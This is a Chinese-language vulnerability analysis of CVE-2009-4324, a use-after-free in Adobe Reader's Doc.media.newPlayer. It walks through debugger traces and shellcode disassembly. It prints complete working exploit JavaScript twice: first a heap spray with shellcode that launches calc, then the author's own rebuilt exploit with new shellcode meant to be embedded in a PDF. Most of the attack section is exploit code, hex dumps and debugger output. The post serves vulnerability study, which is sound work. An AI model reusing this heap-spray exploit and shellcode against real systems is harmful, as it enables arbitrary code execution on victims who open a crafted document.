CVE-2009-4324 漏洞分析

题目：CVE-2009-4324 漏洞分析
Date：2010.11.1
Author：Cryin'
Blog：https://github.com/Cryin/Paper

漏洞描述

在 CVE 以及 NVD 上对此漏洞有如下同样的描述，值得注意的是这句"Use-after-free"。
Use-after-free vulnerability in the Doc.media.newPlayer method in Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, allows remote attackers to execute arbitrary code via a crafted PDF file using ZLib compressed streams, as exploited in the wild in December 2009.

测试环境：
操作系统：Windows XP SP3
Adobe 版本：Adobe Reader 8.1.2_zh_CN

javascript 代码：

```
//--------------------------------------------------------------
//-----------------不要编辑 XML 标记---------------------
//--------------------------------------------------------------

//<Document-Actions>
//<ACRO_source>文档打开</ACRO_source>
//<ACRO_script>
/*********** 属于：Document-Actions:文档打开 ***********/

var shellcode =
unescape("%uc929%ud1db%u74d9%uf424%u32b1%ub85f%u7833%u9781%uc783%u3104%u1147%u7403%u6369%u8662%uea61%u768d%u8d72%u9304%u9f43%ud073%u2ff6%ub4f7%uc4fa%u2c55%ua988%u4371%u0739%u6aa4%ua9ba%u2068%uab78%u3a14%u0bad%uf524%u4aa0%ueb61%u1e4b%u603a%u8ff9%u344f%uaec2%u339f%uc97a%u839a%u630f%ud3a4%uf8a0%ucbee%ua7cb%ueace%ub418%ua533%u0f15%u34c7%u41fc%u0728%u0ec0%ua817%u4fcd%u0e5f%u3a2e%u6dab%u3dd3%u0c68%ucb0f%ub66d%u6bc4%u4756%ued08%u4b1d%u79e5%u4f79%uaef8%u6bf1%u5171%ufad6%u76c1%ua7f2%u1792%u0da3%u2774%ue9b3%u8d29%u1bbf%ub73d%u719d%u35c0%u3c98%u45c2%u6ea3%u74ab%ue128%u88ac%u46fb%u6b52%ub22e%u32fb%u7fbb%uc566%u4311%u469f%u3b90%u5664%u3ed1%ud020%u3209%ub539%ue12d%u9c3a%u644d%u7ca9%u4192");
var SOEWO = unescape("%u4749%ud69b");

while(SOEWO.length <= 32768) SOEWO+=SOEWO;
SOEWO=SOEWO.substring(0,32768 - shellcode.length);
```

```
memory=new Array();

for(i=0;i<0x2000;i++) {
memory[i]= SOEWO + shellcode ;
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
//</ACRO_script>
//</Document-Actions>
```

提取 shellcode

```
0012FEA0 29 C9 DB D1 D9 74 24 F4 B1 32 5F B8 33 78 81 97 )邵奄 t$舯 2_?x 仐
0012FEB0 83 C7 04 31 47 11 03 47 11 E2 F5 FC E8 89 00 00 亾 1G G 怩 ?.
0012FEC0 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 .`夂 1 襠婻 0 婻.婻
0012FED0 8B 72 28 0F B7 4A 26 31 FF 31 C0 AC 3C 61 7C 02 媟( 稷&1 垃<a|
0012FEE0 2C 20 C1 CF 0D 01 C7 E2 F0 52 57 8B 52 10 8B 42 , 料. 氢餜 W 婻 婤
0012FEF0 3C 01 D0 8B 40 78 85 C0 74 4A 01 D0 50 8B 48 18 < 祕@x 咿 tJ 蠵婬
0012FF00 8B 58 20 01 D3 E3 3C 49 8B 34 8B 01 D6 31 FF 31 嫦 鱼<I???
0012FF10 C0 AC C1 CF 0D 01 C7 38 E0 75 F4 03 7D F8 3B 7D 垃料. ?鄒?}?}
0012FF20 24 75 E2 58 8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C $u 釵嫦$ 般?K 嫦
0012FF30 01 D3 8B 04 8B 01 D0 89 44 24 24 5B 5B 61 59 5A 計 ?袎 D$$[[aYZ
0012FF40 51 FF E0 58 5F 5A 8B 12 EB 86 5D 6A 01 8D 85 B9 Q X_Z?雯]j 崐?

0012FF50 00 00 00 50 68 31 8B 6F 87 FF D5 BB E0 1D 2A 0A ...Ph1 婱?栈?*.
0012FF60 68 A6 95 BD 9D FF D5 3C 06 7C 0A 80 FB E0 75 05 h 絽 |. u
0012FF70 BB 47 13 72 6F 6A 00 53 FF D5 63 61 6C 63 00 41 籗 roj.S calc.A
```

样本分析

首先从 metasploit 上面获取样本后用 OD 附加，断在位置 0x2d41e9a 处，我们往上面看，分析整个过程。如下：

```
2D841E82    56              PUSH ESI
2D841E83    8B7424 08       MOV ESI,DWORD PTR SS:[ESP+8]
2D841E87    85F6            TEST ESI,ESI
2D841E89    74 22           JE SHORT Multimed.2D841EAD
2D841E8B    56              PUSH ESI
2D841E8C    E8 72FCFFFF     CALL Multimed.2D841B03
2D841E91    85C0            TEST EAX,EAX
```

```
2D841E93    59              POP ECX
2D841E94    74 17           JE SHORT Multimed.2D841EAD
2D841E96    8B10            MOV EDX,DWORD PTR DS:[EAX]
2D841E98    8BC8            MOV ECX,EAX
2D841E9A    FF52 04         CALL DWORD PTR DS:[EDX+4]       ;断在这里,那就可能是
在这里控制 EDX+4
2D841E9D    6A 00           PUSH 0
2D841E9F    68 70558C2D      PUSH Multimed.2D8C5570                    ; ASCII
"MediaPlayer_This"
2D841EA4    56              PUSH ESI
2D841EA5    E8 EAD3FDFF     CALL Multimed.2D81F294
2D841EAA    83C4 0C         ADD ESP,0C
2D841EAD    66:B8 0100      MOV AX,1
2D841EB1    5E              POP ESI
2D841EB2    C3              RETN
```

此时，我们观察 esp+4 位置的值为 0x23827F04，并有注释信息：返回到 EScript.23827F04。由此我们返回到 0x23827F04 位置分析。代码如下：

```
......
23827EF8    6A 00           PUSH 0
23827EFA    6A 00           PUSH 0
23827EFC    68 ECD78F23     PUSH EScript.238FD7EC
23827F01    57              PUSH EDI
23827F02    FFD0            CALL EAX
......
```

接下来我们用经过测试可以成功运行的样本来分析，并在上述两个关键的地方下断点，分别 0x23827F02 和 0x2D841E82。换使用 windbg 附加 AcroRd32.exe 并在俩个关键位置下断点，然后打开样本。单步跟至 0x23827F0 执行该位置，当执行第二十七次时，注意观察 EAX 的值会变为 0x2d841e82。此时观察寄存器状态。如下：

```
23827f02 ffd0            call eax {Multimedia!PlugInMain+0x40b05 (2d841e82)}
0:000> r
eax=2d841e82 ebx=23827e5d ecx=03288bd8 edx=0012fb60 esi=03288bd8 edi=03288bd8
eip=23827f02 esp=0012fb40 ebp=0012fbb4 iopl=0         nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000             efl=00200206
EScript!PlugInMain+0x26b52:
23827f02 ffd0            call eax {Multimedia!PlugInMain+0x40b05 (2d841e82)}
```

观察发现 ESP、ECX、ESI、EDI 均为 0x03288bd8，但每次调试均不同。跟进函数再做分析。如下

```
2d841e82 56              push    esi
2d841e83 8b742408        mov     esi,[esp+0x8]
```

```
2d841e87 85f6            test    esi,esi
2d841e89 7422            jz      Multimedia!PlugInMain+0x40b30 (2d841ead)
2d841e8b 56              push    esi
2d841e8c e872fcffff      call    Multimedia!PlugInMain+0x40786 (2d841b03)
2d841e91 85c0            test    eax,eax
2d841e93 59              pop     ecx
2d841e94 7417            jz      Multimedia!PlugInMain+0x40b30 (2d841ead)
2d841e96 8b10            mov     edx,[eax]
2d841e98 8bc8            mov     ecx,eax
2d841e9a ff5204          call    dword ptr [edx+0x4]   //获的控制权
2d841e9d 6a00            push    0x0
2d841e9f 6870558c2d      push    0x2d8c5570
2d841ea4 56              push    esi
2d841ea5 e8ead3fdff      call    Multimedia!PlugInMain+0x1df17 (2d81f294)
2d841eaa 83c40c          add     esp,0xc
2d841ead 66b80100        mov     ax,0x1
2d841eb1 5e              pop     esi
2d841eb2 c3              ret
```

跟进至第一次断下来的位置即我们怀疑获得控制权 0x2d841e9a 处，观察寄存器状态，如下：

```
2d841e9a ff5204          call dword ptr [edx+0x4] ds:0023:002e0035=09020207
0:000> r
eax=03379488 ebx=23827e5d ecx=03379488 edx=002e0031 esi=03288bd8 edi=03288bd8
eip=2d841e9a esp=0012fb38 ebp=0012fbb4 iopl=0         nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000             efl=00200206
Multimedia!PlugInMain+0x40b1d:
2d841e9a ff5204          call dword ptr [edx+0x4] ds:0023:002e0035=09020207
```

此时[EDX+4]的值为 0x09020207，跟进发现大量 NOP 指令,一直跟终于发现代码，反汇编对比发现正好是我们先前解密过的 shellcode。如下：

```
0:000> u 0x09020d28 0x09020e28
09020d28 29c9            sub     ecx,ecx
09020d2a dbd1            fcmovnbe st,st(1)
09020d2c d97424f4        fstenv [esp-0xc]
09020d30 b132            mov     cl,0x32
09020d32 5f              pop     edi
09020d33 b833788197      mov     eax,0x97817833
09020d38 83c704          add     edi,0x4
09020d3b 314711          xor     [edi+0x11],eax
09020d3e 034711          add     eax,[edi+0x11]
09020d41 e2f5            loop    09020d38
09020d43 86e8            xchg    al,ch
09020d45 8900            mov     [eax],eax
```

```
09020d47 46              inc     esi
09020d48 006089          add     [eax-0x77],ah
09020d4b e531            in      eax,31
09020d4d d2648b52        shl     byte ptr [ebx+ecx*4+0x52],cl
09020d51 308b520c8b52    xor     [ebx+0x528b0c52],cl
09020d57 148b            adc     al,0x8b
09020d59 7228            jb      09020d83
09020d5b 0fb74a26        movzx   ecx,word ptr [edx+0x26]
09020d5f 31ff            xor     edi,edi
09020d61 31c0            xor     eax,eax
09020d63 ac              lodsb
09020d64 3c61            cmp     al,0x61
09020d66 7c02            jl      09020d6a
09020d68 2c20            sub     al,0x20
09020d6a c1cf0d          ror     edi,0xd
09020d6d 01c7            add     edi,eax
09020d6f e2f0            loop    09020d61
09020d71 52              push    edx
09020d72 57              push    edi
09020d73 8b5210          mov     edx,[edx+0x10]
09020d76 8b423c          mov     eax,[edx+0x3c]
09020d79 01d0            add     eax,edx
09020d7b 8b4078          mov     eax,[eax+0x78]
09020d7e 85c0            test    eax,eax
09020d80 744a            jz      09020dcc
09020d82 01d0            add     eax,edx
09020d84 50              push    eax
09020d85 8b4818          mov     ecx,[eax+0x18]
09020d88 8b5820          mov     ebx,[eax+0x20]
09020d8b 01d3            add     ebx,edx
09020d8d e33c            jecxz   09020dcb
09020d8f 49              dec     ecx
09020d90 8b348b          mov     esi,[ebx+ecx*4]
09020d93 01d6            add     esi,edx
09020d95 31ff            xor     edi,edi
09020d97 31c0            xor     eax,eax
09020d99 ac              lodsb
09020d9a c1cf0d          ror     edi,0xd
09020d9d 01c7            add     edi,eax
09020d9f 38e0            cmp     al,ah
09020da1 75f4            jnz     09020d97
09020da3 037df8          add     edi,[ebp-0x8]
09020da6 3b7d24          cmp     edi,[ebp+0x24]
09020da9 75e2            jnz     09020d8d
```

```
09020dab 58              pop     eax
09020dac 8b5824          mov     ebx,[eax+0x24]
09020daf 01d3            add     ebx,edx
09020db1 668b0c4b        mov     cx,[ebx+ecx*2]
09020db5 8b581c          mov     ebx,[eax+0x1c]
09020db8 01d3            add     ebx,edx
09020dba 8b048b          mov     eax,[ebx+ecx*4]
09020dbd 01d0            add     eax,edx
09020dbf 89442424        mov     [esp+0x24],eax
09020dc3 5b              pop     ebx
09020dc4 5b              pop     ebx
09020dc5 61              popad
09020dc6 59              pop     ecx
09020dc7 5a              pop     edx
09020dc8 51              push    ecx
09020dc9 ffe0            jmp     eax
09020dcb 58              pop     eax
09020dcc 5f              pop     edi
09020dcd 5a              pop     edx
09020dce 8b12            mov     edx,[edx]
09020dd0 eb86            jmp     09020d58
09020dd2 5d              pop     ebp
09020dd3 6a01            push    0x1
09020dd5 8d85b9000000    lea     eax,[ebp+0xb9]
09020ddb 50              push    eax
09020ddc 68318b6f87      push    0x876f8b31
09020de1 ffd5            call    ebp
09020de3 bbe01d2a0a      mov     ebx,0xa2a1de0
09020de8 68a695bd9d      push    0x9dbd95a6
09020ded ffd5            call    ebp
09020def 3c06            cmp     al,0x6
09020df1 7c0a            jl      09020dfd
09020df3 80fbe0          cmp     bl,0xe0
09020df6 7505            jnz     09020dfd
09020df8 bb4713726f      mov     ebx,0x6f721347
09020dfd 6a00            push    0x0
09020dff 53              push    ebx
09020e00 ffd5            call    ebp
09020e02 63616c          arpl    [ecx+0x6c],esp
09020e05 6300            arpl    [eax],eax
09020e07 41              inc     ecx
09020e08 0000            add     [eax],al
09020e0a 0000            add     [eax],al
09020e0c 0000            add     [eax],al
```

```
09020e0e 0000              add     [eax],al
09020e10 0220              add     ah,[eax]
09020e12 0220              add     ah,[eax]
09020e14 d201              rol     byte ptr [ecx],cl
09020e16 0e                push    cs
09020e17 0549479bd6        add     eax,0xd69b4749
09020e1c 49                dec     ecx
09020e1d 47                inc     edi
09020e1e 9b                wait
09020e1f d6                ???
09020e20 49                dec     ecx
09020e21 47                inc     edi
09020e22 9b                wait
09020e23 d6                ???
09020e24 49                dec     ecx
09020e25 47                inc     edi
09020e26 9b                wait
09020e27 d6                ???
```

分析完前面的内容，整个 exploit 过程已经很直观了，现在回头到关键位置 0x23827F02 即 CALL EAX 处来分析漏洞触发的原理，再次用 windbg 附加样本。当经过数十次重复后即 eax 为 0x2d841e82 时，我们单步跟进函数至 0x2d841e9a 处，探个究竟！并回头对照 js 进行分析。如下：

```
2d841e9a ff5204            call dword ptr [edx+0x4] ds:0023:002e0035=09020207
0:000> dd edx
002e0031 08020207 09020207 0b020207 0c020206
002e0041 0d020206 0e020206 0f020206 10020206
002e0051 11020206 12020206 13020206 14020206
002e0061 15020206 16020206 17020206 18020206
002e0071 19020206 1a020206 1b020206 1c020206
002e0081 02020206 1c020207 1d020207 1f020207
002e0091 21020207 23020207 25020207 80020207
002e00a1 27020206 2a020207 2d020207 03020207
0:000> dd poi(edx+4)
09020207 9b4749d6 9b4749d6 9b4749d6 9b4749d6
09020217 9b4749d6 9b4749d6 9b4749d6 9b4749d6
09020227 9b4749d6 9b4749d6 9b4749d6 9b4749d6
09020237 9b4749d6 9b4749d6 9b4749d6 9b4749d6
09020247 9b4749d6 9b4749d6 9b4749d6 9b4749d6
09020257 9b4749d6 9b4749d6 9b4749d6 9b4749d6
09020267 9b4749d6 9b4749d6 9b4749d6 9b4749d6
09020277 9b4749d6 9b4749d6 9b4749d6 9b4749d6
0:000> dd eax
```

```
03376bf8 002e0031 00340033 00360035 00380037
03376c08 00300039 002e0031 00340033 00360035
03376c18 00380037 00300039 002e0031 00340033
03376c28 00360035 003a0020 00310020 0033002e
03376c38 002e0031 00340033 00000000 00000000
03376c48 000b000b 04080126 03386db8 03376bf8
03376c58 03376bf8 00000000 000000a0 00000000
03376c68 00000000 00000000 0327e6e0 00000000
0:000> db eax
03376bf8 31 00 2e 00 33 00 34 00-35 00 36 00 37 00 38 00 1...3.4.5.6.7.8.
03376c08 39 00 30 00 31 00 2e 00-33 00 34 00 35 00 36 00 9.0.1...3.4.5.6.
03376c18 37 00 38 00 39 00 30 00-31 00 2e 00 33 00 34 00 7.8.9.0.1...3.4.
03376c28 35 00 36 00 20 00 3a 00-20 00 31 00 2e 00 33 00 5.6. .:. .1...3.
03376c38 31 00 2e 00 33 00 34 00-00 00 00 00 00 00 00 00 1...3.4.........
03376c48 0b 00 0b 00 26 01 08 04-b8 6d 38 03 f8 6b 37 03 ....&....m8..k7.
03376c58 f8 6b 37 03 00 00 00 00-a0 00 00 00 00 00 00 00 .k7.............
03376c68 00 00 00 00 00 00 00 00-e0 e6 27 03 00 00 00 00 ..........'.....
```

接着，我们回溯到前面漏洞触发的地方，跟进函数进行分析，看看 EAX 中的数据是何时变成 js 中提交的数据。重新使用 windbg
附加样本，在 0x23827F02 位置断下并单步跟进 0x2d841e8c 处即 call Multimedia!PlugInMain+0x40786 (2d841b03)，如下：

```
2d841b03 6870558c2d       push    0x2d8c5570
2d841b08 ff742408         push    dword ptr [esp+0x8]   //压入关键参数
2d841b0c e828d5fdff       call    Multimedia!PlugInMain+0x1dcbc (2d81f039) //此处跟进
2d841b11 59               pop     ecx
2d841b12 59               pop     ecx
2d841b13 c3               ret

2d81f039 55               push    ebp
2d81f03a 8bec             mov     ebp,esp
2d81f03c 83ec44           sub     esp,0x44
2d81f03f 8d45bc           lea     eax,[ebp-0x44]
2d81f042 68959c802d       push    0x2d809c95
2d81f047 50               push    eax
2d81f048 a158ef902d       mov eax,[Multimedia!PlugInMain+0x10dbdb (2d90ef58)]
2d81f04d ff5008           call    dword ptr [eax+0x8]
2d81f050 8d45bc           lea     eax,[ebp-0x44]
2d81f053 6a00             push    0x0
2d81f055 50               push    eax
2d81f056 e82189feff       call    Multimedia!PlugInMain+0x65ff (2d80797c)
2d81f05b 83c410           add     esp,0x10
```

```
2d81f05e 85c0            test    eax,eax
2d81f060 7520            jnz     Multimedia!PlugInMain+0x1dd05 (2d81f082)
2d81f062 ff750c          push    dword ptr [ebp+0xc]
2d81f065 a1dcf9902d      mov eax,[Multimedia!PlugInMain+0x10e65f (2d90f9dc)]
2d81f06a ff7508          push    dword ptr [ebp+0x8]
2d81f06d ff903c020000    call    dword ptr [eax+0x23c]   //多次调试后，发现 EAX
是在这里改变,于是跟进
2d81f073 59              pop     ecx
2d81f074 8945fc          mov     [ebp-0x4],eax
2d81f077 a158ef902d      mov eax,[Multimedia!PlugInMain+0x10dbdb (2d90ef58)]
2d81f07c 59              pop     ecx
2d81f07d ff500c          call    dword ptr [eax+0xc]
2d81f080 eb17            jmp     Multimedia!PlugInMain+0x1dd1c (2d81f099)
2d81f082 a158ef902d      mov eax,[Multimedia!PlugInMain+0x10dbdb (2d90ef58)]
2d81f087 ff500c          call    dword ptr [eax+0xc]
2d81f08a a158ef902d      mov eax,[Multimedia!PlugInMain+0x10dbdb (2d90ef58)]
2d81f08f ff5010          call    dword ptr [eax+0x10]
2d81f092 50              push    eax
2d81f093 e85e4c0000      call    Multimedia!PlugInMain+0x22979 (2d823cf6)
2d81f098 59              pop     ecx
2d81f099 8b45fc          mov     eax,[ebp-0x4]
2d81f09c c9              leave
2d81f09d c3              ret

2382dd5c 56              push    esi
2382dd5d 8b742408        mov     esi,[esp+0x8]
2382dd61 57              push    edi
2382dd62 33ff            xor     edi,edi
2382dd64 eb20            jmp     EScript!PlugInMain+0x2c9d6 (2382dd86)
2382dd66 ff742410        push    dword ptr [esp+0x10]
2382dd6a ff7610          push    dword ptr [esi+0x10]
2382dd6d e82fb1ffff      call    EScript!PlugInMain+0x27af1 (23828ea1)   //在这
里跟进
2382dd72 8bf8            mov     edi,eax
2382dd74 85ff            test    edi,edi
2382dd76 59              pop     ecx
2382dd77 59              pop     ecx
2382dd78 7510            jnz     EScript!PlugInMain+0x2c9da (2382dd8a)
2382dd7a 6a01            push    0x1
2382dd7c 56              push    esi
2382dd7d e87e21feff      call    EScript!PlugInMain+0xeb50 (2380ff00)
2382dd82 59              pop     ecx
2382dd83 59              pop     ecx
2382dd84 8bf0            mov     esi,eax
```

```
2382dd86 85f6            test    esi,esi
2382dd88 75dc            jnz     EScript!PlugInMain+0x2c9b6 (2382dd66)
2382dd8a 8bc7            mov     eax,edi
2382dd8c 5f              pop     edi
2382dd8d 5e              pop     esi
2382dd8e c3              ret

23828ea3 39442404        cmp     [esp+0x4],eax
23828ea7 7405            jz      EScript!PlugInMain+0x27afe (23828eae)
23828ea9 e92783feff      jmp     EScript!PlugInMain+0xfe25 (238111d5) //这里跳
转,我们跟进
23828eae c3              ret

238111d5 55              push    ebp
238111d6 8bec            mov     ebp,esp
238111d8 56              push    esi
238111d9 ff750c          push    dword ptr [ebp+0xc]
238111dc e8dd4bffff      call    EScript!PlugInMain+0x4a0e (23805dbe)
238111e1 8b4d0c          mov     ecx,[ebp+0xc]
238111e4 50              push    eax
238111e5 ba0ff00000      mov     edx,0xf00f
238111ea e803610400      call    EScript!PlugInMain+0x55f42 (238572f2)
238111ef 8b4d08          mov     ecx,[ebp+0x8]
238111f2 8d5508          lea     edx,[ebp+0x8]
238111f5 52              push    edx
238111f6 ff750c          push    dword ptr [ebp+0xc]
238111f9 83e00f          and     eax,0xf
238111fc ff748140        push    dword ptr [ecx+eax*4+0x40]
23811200 8d3481          lea     esi,[ecx+eax*4]
23811203 ff36            push    dword ptr [esi]
23811205 e874600400      call    EScript!PlugInMain+0x55ece (2385727e)
2381120a 83c418          add     esp,0x18
2381120d 66837d0800      cmp     word ptr [ebp+0x8],0x0
23811212 7408            jz      EScript!PlugInMain+0xfe6c (2381121c)
23811214 8b0e            mov     ecx,[esi]
23811216 8b44c104        mov     eax,[ecx+eax*8+0x4]   //观察此处 EAX 被赋值,单
步到此处查看[ecx+eax*8+4]的值
2381121a eb02            jmp     EScript!PlugInMain+0xfe6e (2381121e)
2381121c 33c0            xor     eax,eax
2381121e 5e              pop     esi
2381121f 5d              pop     ebp
23811220 c3              ret

23811216 8b44c104        mov   eax,[ecx+eax*8+0x4] ds:0023:035603cc=033987e0
```

```
0:000> dd ecx+eax*8+4
035603cc 033987e0 0337d4d0 2d843b38 00000000
035603dc 00000000 00000000 00180018 003faed8
035603ec 00000000 69736976 00656c62 035606e8
035603fc 00000000 00000000 00000000 00000000
0356040c 00180018 003faed8 00000000 6574756f
0356041c 63655272 00000074 00000001 00000000
0356042c 00000000 00000000 00180018 003faed8
0356043c 00000000 03560468 2d84402f 00000000
0:000> dd 0x033987e0
033987e0 002e0031 00340033 00360035 00380037
033987f0 00300039 002e0031 00340033 00360035
03398800 00380037 00300039 002e0031 00340033
03398810 00360035 003a0020 00310020 0033002e
03398820 002e0031 00340033 00000000 00000000
03398830 000b000b 04080105 033a89a0 033987e0
03398840 033987e0 00000000 000000a0 00000000
03398850 00000000 00000000 032a9e00 00000000

0:000> du 0x033987e0
033987e0 "1.345678901.345678901.3456 : 1.3"
03398820 "1.34"
```

此时出现 JS 中 printd 提交的数据如下，可以看到程序在 0x23811216 处引用了已经被释放的内存，just use after free!

```
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
```

构造 exploit

最后，我们构造自己的 exploit，使其弹出对话框并显示 Exploit Successed!
将我们自己写的 shellcode 放进上面的 javaScript 语句中并保存至 pdf 文件中，如下：

```
//<Document-Actions>
//<ACRO_source>文档打开</ACRO_source>
//<ACRO_script>
/********** 属于：Document-Actions:文档打开 **********/

var shellcode =
unescape("%uc1dd%u39ba%u0ddc%ud9d4%u2474%u58f4%uc929%u43b1%ue883%u31fc%u1550%u5
003%udb15%ud429%u803f%u930b%u429b%u8e9a%udd56%ue7ec%uaaf3%uc87e%uda70%ua38c%u3e
f1%uf506%ub5f5%uda66%uff8e%u55ae%u8a89%u303d%ua5a8%u223d%uceca%u81ae%u5b2f%uf66
b%u0fa4%u7e5c%u45ba%u3417%u12a4%ue972%ucfd5%udd60%u849c%u9553%u741e%u56aa%u4811
%u0431%u88d6%u52be%uc716%u5c32%u3c5fu65b8%ue623%uef69%u6d3a%u2b33%u9abc%ub8a2%u
17b2%ue5a0%ua6d6%u925d%u23e3%u4da0%u7762%u9187%ub414%ua175%ueeff%u57f3%ucc76%u1
```

```
66c%udec7%u7480%u4130%u86a7%uf43f%u7d1d%u787b%u9f46%u0308%u446a%ue3bd%u7b1d%u0cbe%uc1a8%u9a49%ua5c7%u1b69%u0570%ub558%u01e4%ubae9%ua381%u6099%u4e6e%u7e13%ub138%u7a76%u8f4c%u3929%ub2e6%u8187%uae70%uab33%uae96%ub4c4%u5998%u1255%uba47%ue1c1%uc3f5%ud478%ubb22%u3227%u35d0%u5234%u64be%u82e3%u0256%ub160%ua4c3%u40f5%u566f%uc592%uec06%u7142%u749c%uedf3%u4c2f%ua17b%u5c6b%ud8f5%ub245%u5a6f%u63f5%ua522%ub229%u0902%ue035%u418a");
var noop = unescape("u4749%ud69b");

while(noop.length <= 32768)
noop+=noop;
noop=noop.substring(0,32768 - shellcode.length);

heapmemory=new Array();

for(i=0;i<0x2000;i++)
{
heapmemory[i]= noop + shellcode;
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
//</ACRO_script>
//</Document-Actions>
```

保存好后打开我们制作的 pdf 文档，成功弹出来对话框，效果如下：